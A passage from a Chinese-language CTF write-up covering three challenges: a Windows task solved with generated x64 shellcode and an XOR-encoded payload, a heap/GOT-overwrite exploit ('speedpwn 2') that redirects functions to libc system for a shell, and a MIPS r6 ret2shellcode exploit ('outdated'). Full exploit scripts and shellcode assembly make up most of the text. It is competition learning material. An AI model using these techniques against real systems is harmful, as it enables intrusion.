之后就能执行可控的非常长的 shellcode 了。
# 生成 Shellcode我选择使用 Github 开源项目 ShellcodeCompiler
后来才知道 shellcraft 也能生成:
shellcraft.amd64.windows.winexec(b'cmd /C "start flag.png"')
Source.txt:
1 2 function system ("msvcrt.dll" ) ; system("start flag.png" );
编译生成 shellcode:
1 ShellcodeCompiler_x64.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
生成的 shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 ; Shellcode generated using Shellcode Compiler ; https: sub RSP, 0x28 ; 40 bytes of shadow space and RSP, 0F FFFFFFFFFFFFFF0h ; Align the stack to a multiple of 16 bytes xor rcx, rcx ; RCX = 0 mov rax, gs:[rcx + 0x60 ] ; RAX = PEB mov rax, [rax + 0x18 ] ; RAX = PEB->Ldr mov rsi, [rax + 0x20 ] ; RSI = PEB->Ldr.InMemOrder lodsq ; RAX = Second module Next_Module: xchg rax, rsi ; RAX = RSI, RSI = RAX lodsq ; RAX = Next Module mov rcx, [rax + 0x50 ] ; RCX = Module Name cmp dword [rcx], 0x45004b ; KE jne Next_Module cmp dword [rcx + 0x4 ], 0x4e0052 ; RN jne Next_Module cmp dword [rcx + 0x8 ], 0x4c0045 ; EL jne Next_Module cmp dword [rcx + 0xc ], 0x320033 ; 32 jne Next_Module mov rbx, [rax + 0x20 ] ; RBX = Base address xor r8, r8 ; Clear r8 mov r8d, [rbx + 0x3c ] ; R8D = DOS->e_lfanew offset mov rdx, r8 ; RDX = DOS->e_lfanew add rdx, rbx ; RDX = PE Header xor rcx, rcx ; RCX = 0 mov cl, 0x88 ; RCX = 0x88 - Offset export table add rcx, rdx ; RCX = PE Header + Offset export table mov r8d, [rcx] ; R8D = Offset export table add r8, rbx ; R8 = Export table xor rsi, rsi ; Clear RSI mov esi, [r8 + 0x20 ] ; RSI = Offset namestable add rsi, rbx ; RSI = Names table xor rcx, rcx ; RCX = 0 mov r9, 0x41636f7250746547 ; GetProcA Get_Function: inc rcx ; Increment the ordinal xor rax, rax ; RAX = 0 mov eax, [rsi + rcx * 4 ] ; Get name offset add rax, rbx ; Get function name cmp [rax], r9 ; GetProcA ? jnz Get_Function xor rsi, rsi ; RSI = 0 mov esi, [r8 + 0x24 ] ; ESI = Offset ordinals add rsi, rbx ; RSI = Ordinals table mov cx, [rsi + rcx * 2 ] ; Number of function xor rsi, rsi ; RSI = 0 mov esi, [r8 + 0x1c ] ; Offset address table add rsi, rbx ; ESI = Address table xor rdx, rdx ; RDX = 0 mov edx, [rsi + rcx * 4 ] ; EDX = Pointer(offset) add rdx, rbx ; RDX = GetProcAddress mov rdi, rdx ; Save GetProcAddress in RDI mov ecx, 0x41797261 ; aryA push rcx ; Push on the stack mov rcx, 0x7262694c64616f4c ; LoadLibr push rcx ; Push on stack mov rdx, rsp ; LoadLibraryA mov rcx, rbx ; kernel32.dll base address sub rsp, 0x30 call rdi ; GetProcAddress add rsp, 0x30 add rsp, 0x10 ; Clean space for LoadLibrary string mov rsi, rax ; LoadLibrary saved in RSI xor rax, rax mov ax, 0x6c6c push rax mov rax, 0x642e74726376736d push rax mov rcx, rsp ; RCX = DLL name sub rsp, 0x30 ; Stack space call rsi ; LoadLibrary add rsp, 64 push rax ; DLL base on the stack xor rax, rax mov rax, 0x6d6574737973 push rax mov rdx, rsp ; RDX = Function name mov rcx, [rsp + 8 ] sub rsp, 0x30 ; Stack space call rdi ; GetProcAddress add rsp, 56 push rax ; Function on the stack xor rax, rax mov rax, 0x676e702e6761 push rax mov rax, 0x6c66207472617473 push rax push rsp push r12 mov rcx, [RSP + 8 ] sub rsp, 0x20 ; Stack space call [RSP + 64 ] add rsp, 0x28 add RSP, 24
调试的时候发现开头 sub RSP, 0x28 的操作会把 rsp 干成非法值,考虑到没有影响便去掉了。
最终的 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 def xor_bytes (b1: bytes , b2: bytes ) -> bytes : return bytes (a ^ b for a, b in zip (b1, b2)) def read_bytes_from_file (filename ): byte_data = bytearray () with open (filename, 'rb' ) as file: while True : byte = file.read(1 ) if not byte: break byte_data.extend(byte) return bytes (byte_data) shellcode=read_bytes_from_file("C:\\Users\\Lenovo1\\Desktop\\ShellcodeCompiler-master\\Release\\Shellcode.bin" )[4 :] print (shellcode)payload = shellcode.ljust(0x10000 ,b'a' ) payload+=b'\xaf\x7f\xd0\x0e\xa6\xb1\x19\x3e\x06\xcc\x57\x4f\x6d\x10\xe2\x63' payload+=b'\x00\x00\x00\x00\x00\x00\x00\x00' payload+=xor_bytes(b'\xf2\xd3\x0f\x69\x73\x51\x16\x3f\x08\xf7\x67\x7d\xe5\x2a\x41\x3d' ,b"\xf2\x0f\x10\xc1\x48\x8d\x1d\x55\x4a\x02\x00\xe9\x8f\x0e\x00\x00" ) payload+=b'\x01\x00\x00\x00\x00\x00\x00\x00' payload+=xor_bytes(b'\x7e\x5b\xc5\xb5\xf7\x81\xfc\x85\x5e\x5f\x4d\x52\xcc\x74\xaa\x11' ,b"\x48\x83\xec\x58\x48\x89\xe6\xe9\x36\x62\x01\x00\x00\x00\x00\x53" ) payload+=b'\x01\x00\x00\x00\x00\x00\x00\x00' print (payload)XORKEY = b'PJSK' payload = bytearray (payload) for i in range (len (payload)): payload[i] ^= XORKEY[i % len (XORKEY)] with open ("data.txt" , "wb" ) as f: f.write(payload)
# 最后可惜赛后出的... ...点我下载 data.txt 点我下载 game.exe.i64
Windows 反调试太恶心了... ... ... ...
# ReferenceMicrosoft Learn 通义千问 ShellcodeCompiler
# speedpwn 2后面两题赛后闲着没事做着玩
拿 got 表走 ogg 直接拿 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 from pwn import *from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug' context(arch='amd64' ,os='linux' ) context.terminal=['tmux' ,'splitw' ,'-h' ] ELFpath = './chall' p=remote('speedpwn-2.chals.sekai.team' ,1337 ,ssl=True ) rut=lambda s :p.recvuntil(s,timeout=0.3 ) ru=lambda s :p.recvuntil(s) r=lambda n :p.recv(n) sl=lambda s :p.sendline(s) sls=lambda s :p.sendline(str (s)) sla=lambda con,s :p.sendlineafter(con,s) sa=lambda con,s :p.sendafter(con,s) ss=lambda s :p.send(str (s)) s=lambda s :p.send(s) uu64=lambda data :u64(data.ljust(8 ,'\x00' )) it=lambda :p.interactive() b=lambda :gdb.attach(p) bp=lambda bkp:gdb.attach(p,'b *' +str (bkp)) get_leaked_libc = lambda :u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) def ptrxor (pos,ptr ): return p64((pos >> 12 ) ^ ptr) def modif (x,y,data ): sla("> " ,"p" ) sl(str (x)+" " +str (y)+" " +hex (data)[2 :]) def remalloc (x,y ): sla("> " ,"r" ) sl(str (x)+" " +str (y)) got=0x404000 remalloc(1 ,0x10 ) remalloc(1 ,0x190 ) modif(0 ,-0x1f0 -0x20 ,0x30 ) modif(0 ,-0x1f0 -0x20 +1 ,0x40 ) modif(0 ,-0x1f0 -0x20 +2 ,0x40 ) modif(0 ,-0x1f0 -0x20 +3 ,0x00 ) remalloc(1 ,0x10 ) modif(0 ,0 ,0xef ) modif(0 ,1 ,0x15 ) modif(0 ,2 ,0x40 ) modif(0 ,3 ,0x0 ) modif(0 ,4 ,0x0 ) modif(0 ,5 ,0x0 ) modif(0 ,6 ,0x0 ) modif(0 ,7 ,0x0 ) modif(0 ,0 +0x18 ,0xa4 ) modif(0 ,1 +0x18 ,0x14 ) modif(0 ,2 +0x18 ,0x40 ) modif(0 ,3 +0x18 ,0x0 ) modif(0 ,4 +0x18 ,0x0 ) modif(0 ,5 +0x18 ,0x0 ) modif(0 ,6 +0x18 ,0x0 ) modif(0 ,7 +0x18 ,0x0 ) sla("> " ,"r" ) sl(str (1 )+" " +str (0x404000 )) libc_base=u64(p.recv(6 )+b'\x00\x00' )-0x70f5266add30 +0x70f526600000 sys=libc_base+0x58750 sl("p" ) sl(str (0 )+" " +str (0 )+" " +hex (0xde )[2 :]) modif(0 ,-0x30 ,sys&0xff ) modif(0 ,-0x30 +1 ,(sys&0xff00 )//0x100 ) modif(0 ,-0x30 +2 ,(sys&0xff0000 )//0x10000 ) modif(0 ,-0x30 +3 ,(sys&0xff000000 )//0x1000000 ) modif(0 ,-0x30 +4 ,(sys&0xff00000000 )//0x100000000 ) modif(0 ,-0x30 +5 ,(sys&0xff0000000000 )//0x10000000000 ) sys=libc_base+0x58750 modif(0 ,0 ,sys&0xff ) modif(0 ,1 ,(sys&0xff00 )//0x100 ) modif(0 ,2 ,(sys&0xff0000 )//0x10000 ) modif(0 ,3 ,(sys&0xff000000 )//0x1000000 ) modif(0 ,4 ,(sys&0xff00000000 )//0x100000000 ) modif(0 ,5 ,(sys&0xff0000000000 )//0x10000000000 ) 0x68732f6e modif(0 ,0x100 ,0x2f ) modif(0 ,0x100 +1 ,0x62 ) modif(0 ,0x100 +2 ,0x69 ) modif(0 ,0x100 +3 ,0x6e ) modif(0 ,0x100 +4 ,0x2f ) modif(0 ,0x100 +5 ,0x73 ) modif(0 ,0x100 +6 ,0x68 ) remalloc(0x404130 ,1 ) print (hex (libc_base))p.interactive()
# outdatedmipsr6el32 架构 ret2shellcode
坐牢找 ld 找了一天... ... 网上都是 r2 的,apt 的也都是 r2 的 最后用 buildroot 编译了一个 mipsr6el32 的 rootfs 才找到 r6 的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *from Crypto.Util.number import long_to_bytes,bytes_to_longcontext.log_level='debug' context(arch='mips' ,os='linux' ) context.terminal=['tmux' ,'splitw' ,'-h' ] ELFpath = './outdated' p=process(["qemu-mipsel" ,"-g" ,"9999" ,ELFpath]) rut=lambda s :p.recvuntil(s,timeout=0.3 ) ru=lambda s :p.recvuntil(s) r=lambda n :p.recv(n) sl=lambda s :p.sendline(s) sls=lambda s :p.sendline(str (s)) sla=lambda con,s :p.sendlineafter(con,s) sa=lambda con,s :p.sendafter(con,s) ss=lambda s :p.send(str (s)) s=lambda s :p.send(s) uu64=lambda data :u64(data.ljust(8 ,'\x00' )) it=lambda :p.interactive() b=lambda :gdb.attach(p) bp=lambda bkp:gdb.attach(p,'b *' +str (bkp)) get_leaked_libc = lambda :u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) def ptrxor (pos,ptr ): return p64((pos >> 12 ) ^ ptr) p.recvuntil("0x" ) addr=int (p.recv(8 ),16 )-0x9d0 +0x200C0 sla("o name your game" ,asm(shellcraft.sh())[:0x5f ]) sla("Which level do you want to change?" ,str (((0x40 -8 -8 )&0xffffffff )//2 )) sla("What reward do you want to set for this level?" ,str (0xff )) p.interactive()